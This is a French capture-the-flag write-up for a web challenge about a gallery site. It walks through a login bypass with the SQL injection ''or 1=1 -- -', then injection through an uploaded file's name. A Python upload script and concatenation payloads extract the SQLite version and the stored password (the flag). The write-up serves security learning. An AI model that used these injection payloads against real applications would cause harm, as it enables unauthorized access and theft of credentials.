Voici mon writeup du troisième challenge web d’un CTF privé. (Challenge de Mizu)

Énoncé: A new website as been create to manage a galery. Link was wanted to use it in order to store is beautifull landscape pictures, but before He asked you to check the site security. Can you help him verifying it?

First look

first_look

Nous pouvons déjà voir que le challenge concerne les fichiers à upload.

Il y a 3 pages : page d’accueil, gallery et login. Nous ne pouvons pas accéder à la galerie sans être connecté, nous allons donc essayer de nous connecter d’abord.

Go jeter un oeil à /robots.txt:

User-agent: *
Disallow: /init.db

Oh ! Il y a un path intéressant ! Allons voir tout ça:

CREATE TABLE IF NOT EXISTS users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL,
    password TEXT NOT NULL
);

CREATE TABLE IF NOT EXISTS gallery (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    userID TEXT NOT NULL,
    file_name TEXT NOT NULL,
    file_length TEXT NOT NULL,
    file_content TEXT NOT NULL
);

INSERT INTO users (username, password) VALUES ("*sensored*", "*sensored*");

Il y a 3 requêtes sql et nous pouvons deviner que nous devons voler les informations d’identification de l’utilisateur, peut-être une injection sql ?

Première exploitation

Comme on a deviné, on peut se login grâce à une injection SQL dans le formulaire:

Username: 'or 1=1 -- -

Password: foobar

gallery

Nous avons un accès à la galerie ! Maintenant, nous devons penser à un exploit qui peut voler les informations d’identification, il y avait une injection sql dans le formulaire de connexion, donc nous pouvons deviner qu’il y a aussi une injection sql sur le submit.

On peut imaginer une requête comme ça: INSERT INTO gallery(userID, file_name, file_length, file_content) VALUES('1', '<FILENAME>', '100', 'file_content')

Pour vérifier ça on va essayer de submit un fichier avec une single quote et regarder si le serveur nous crie dessus ou pas.

J’ai écrit un petit code python pour faciliter l’upload de fichiers:

import requests
from bs4 import BeautifulSoup as bs

file_name = input("Filename: ")

files = {
    'image': 
    (
        file_name, 
        open('image/test.png','rb'), 
        'image/png'
    )
}

cookies = {"session":"<SESSION_COOKIE>"}

r = requests.post("http://fantasygallery.ec2qualifications.esaip-cyber.com/gallery", files=files, cookies=cookies)


print(f"Query: INSERT INTO gallery(userID, file_name, file_length, file_content) VALUES('1', '{file_name}', '100', 'file_content')")
print()
print(f"Status: {r.status_code}")
print()

soup = bs(r.text, 'html.parser')

p = soup.find_all("p")[-1]
print(p.contents[0])

Essayons avec un fichier qui s’appelle foo':

[Fantasy Gallery]~$ python3 fantasy_gallery.py 

Filename: foo'
Query: INSERT INTO gallery(userID, file_name, file_length, file_content) VALUES('1', 'foo'', '100', 'file_content')
Status: 500

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

Yeah ! On avait raison ! Il y a une injection sql sur l’upload de file.

Exploitation

Maintenant on doit trouver un moyen de leak des informations, essayons de savoir quel SGBD est utilisé.

On va tester sqlite, pour afficher la version de la db on doit faire cette requête: select sqlite_version(), essayons d’injecter ça.

Mais comment ? On peut échapper la quote mais comment on peut récuperer l’info ? On va utiliser la concaténation avec ||. Quelques SGBD utilisent ce moyen donc croisons les doigts. 🤞

Notre nom de fichier va être: version: '||(select sqlite_version())||'.

Et la requête ressemblera à: INSERT INTO gallery(userID, file_name, file_length, file_content) VALUES('1', 'version: '||(select sqlite_version())||'', '100', 'file_content'), donc il n’y a aucune erreur.

Essayons !

[Fantasy Gallery]~$ python3 fantasy_gallery.py

Filename: version: '||(select sqlite_version())||'

Query: INSERT INTO gallery(userID, file_name, file_length, file_content) VALUES('1', 'version: '||(select sqlite_version())||'', '100', 'file_content')
Status: 200

version: 3.34.1

Let’s go ! On est proche de flag, on doit juste faire une requête à la table users et on aura notre flag !

Payload pour l’username: leaked: '||(select username from users)||'

Payload pour le mot de passe: leaked: '||(select password from users)||'

[Fantasy Gallery]~$ python3 fantasy_gallery.py 

Filename: leaked: '||(select password from users)||'
Query: INSERT INTO gallery(userID, file_name, file_length, file_content) VALUES('1', 'leaked: '||(select password from users)||'', '100', 'file_content')
Status: 200

leaked: R2Lille{SQL1_4r3_3v3ryWh3R3}

Yeah ! Voici notre flag: R2Lille{SQL1_4r3_3v3ryWh3R3}